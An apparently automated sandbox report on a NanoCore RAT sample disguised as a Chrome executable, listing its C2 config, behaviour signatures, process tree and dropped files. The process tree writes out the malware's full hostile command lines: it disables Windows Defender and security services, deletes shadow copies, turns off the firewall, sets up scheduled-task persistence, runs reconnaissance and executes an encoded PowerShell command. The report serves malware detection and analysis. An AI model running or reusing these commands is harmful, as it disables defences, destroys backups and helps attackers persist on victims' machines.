Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/11/2026, 12:17

General

  • Target
    xoilacitv1.org_chrome.exe
  • Size 57KB
  • Sample261109-pgcrbab13w
  • SHA256 dd43ae1de0b938943a28b89ad0cbe5b96d8a280790ef3822f8ef7fb58266dd38
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilacitv1.org

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilacitv1.org

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Owner/User Discovery 1 TTPs

    Attempt to identify the primary or current user.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4616
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5528
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4924
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2504
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4228
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5616
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5604
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2896
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe"
        3⤵
          PID:2120
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1376
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4668
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:1052
        • C:\Windows\System32\vssadmin.exe
          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:3328
        • C:\Windows\System32\wbem\WMIC.exe
          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
          2⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1544
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:1928
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1460
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe" /sc minute /mo 30 /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5840
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:5376
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2972
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:5568
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:5260
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3000
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:4864
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5024
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:2996
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2304
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:2640
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4588
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:2896
                • C:\Windows\system32\net.exe
                  net user
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1336
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user
                    4⤵
                      PID:2360
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:972
                  • C:\Windows\system32\ipconfig.exe
                    ipconfig /all
                    3⤵
                    • Gathers network information
                    PID:4396
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:840
                  • C:\Windows\system32\NETSTAT.EXE
                    netstat -an
                    3⤵
                    • Gathers network information
                    PID:5924
                • C:\Windows\SYSTEM32\schtasks.exe
                  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe" /sc daily /f
                  2⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1052
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    3⤵
                      PID:1684
                  • C:\Windows\System32\wscript.exe
                    "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                    2⤵
                    • Executes a VBScript file via the Windows Script Host.
                    PID:544
                  • C:\Windows\System32\vssadmin.exe
                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:5944
                  • C:\Windows\System32\wbem\WMIC.exe
                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • Suspicious behavior: EnumeratesProcesses
                    PID:304
                  • C:\Windows\System32\net.exe
                    "C:\Windows\System32\net.exe" stop srservice
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5736
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop srservice
                      3⤵
                        PID:3924
                    • C:\Windows\System32\netsh.exe
                      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                      2⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:308
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2464
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" stop i8042prt
                      2⤵
                      • Launches sc.exe
                      PID:1544
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3064
                  • C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe
                    C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe
                    1⤵
                      PID:5668
                    • C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe
                      C:\Users\Admin\AppData\Local\Temp\xoilacitv1.org_chrome.exe
                      1⤵
                        PID:5656
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k GPSvcGroup
                        1⤵
                          PID:1740

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              scr_20261109_121858.jpg

                              • Path C:\ProgramData\SysUpdate\Scr\scr_20261109_121858.jpg
                              • Size 112KB
                              • SHA256 1eb3675a62e3e709454afefcb1bb41307bf88f48b021cfa6e74c6303820d9e26
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              doc_2.pdf

                              • Path C:\SystemVolumeInformation\doc_2.pdf
                              • Size 76KB
                              • SHA256 20fb4505e7f98cc4da52edc2e58503bbffc7d1c754bcde0a43340f5bdb0b4259
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              __PSScriptPolicyTest_btkk1sxz.he5.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btkk1sxz.he5.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              createshortcut.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                              • Size 246B
                              • SHA256 e6a0b0883e684a7268f25df5333c46e42dfa9b224481ecb68c956f88831a47a4
                              • MD5 SHA1 SHA512 TLSH

                              del.bat

                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                              • Size 59B
                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                              • MD5 SHA1 SHA512 TLSH

                              makelnk.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                              • Size 247B
                              • SHA256 0531794a372aba1a40731e632bdb1f11070ac3f91fac4bb35228bde3bdf66b7f
                              • MD5 SHA1 SHA512 TLSH

                              temp_steal.log

                              • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                              • Size 149KB
                              • SHA256 886db451380b59a310c0a838ddb14cbcc3b6e068f4d018dd30ad7a5dc898a1c3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              stolen_data_here.txt

                              • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                              • Size 149KB
                              • SHA256 f7db012b2fc184171cf7bd910fdcae84dcbebd015629dee82322f8964c79ee73
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              invoice_1.pdf

                              • Path C:\Users\Admin\Documents\invoice_1.pdf
                              • Size 76KB
                              • SHA256 95ac7cc332f84af64cab5d8f1bc08cc7497562fec3ffa481a20fd12b5ff5ff7c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              READ_ME_NANOCORE.txt

                              • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                              • Size 145B
                              • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                              • MD5 SHA1 SHA512 TLSH

                              RANSOM_NOTE.txt

                              • Path F:\RANSOM_NOTE.txt
                              • Size 177B
                              • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                              • MD5 SHA1 SHA512 TLSH

                              memory/3304-5-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-2280-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-2277-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-2282-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-1-0x0000000000AC0000-0x0000000000AD4000-memory.dmp

                              memory/3304-6-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-4-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-3-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-2-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/3304-0-0x00007FF82140F000-0x00007FF821410000-memory.dmp

                              memory/4616-15-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-29-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-32-0x0000020944A20000-0x0000020944A2A000-memory.dmp

                              memory/4616-10-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-24-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-22-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-21-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-2276-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-30-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-23-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-28-0x0000020944960000-0x0000020944A12000-memory.dmp

                              memory/4616-27-0x0000020944940000-0x000002094495E000-memory.dmp

                              memory/4616-20-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-19-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-18-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-16-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-14-0x00007FF821280000-0x00007FF821C24000-memory.dmp

                              memory/4616-11-0x0000020944580000-0x00000209445A2000-memory.dmp

                              memory/5376-2261-0x000002243A1E0000-0x000002243A1E1000-memory.dmp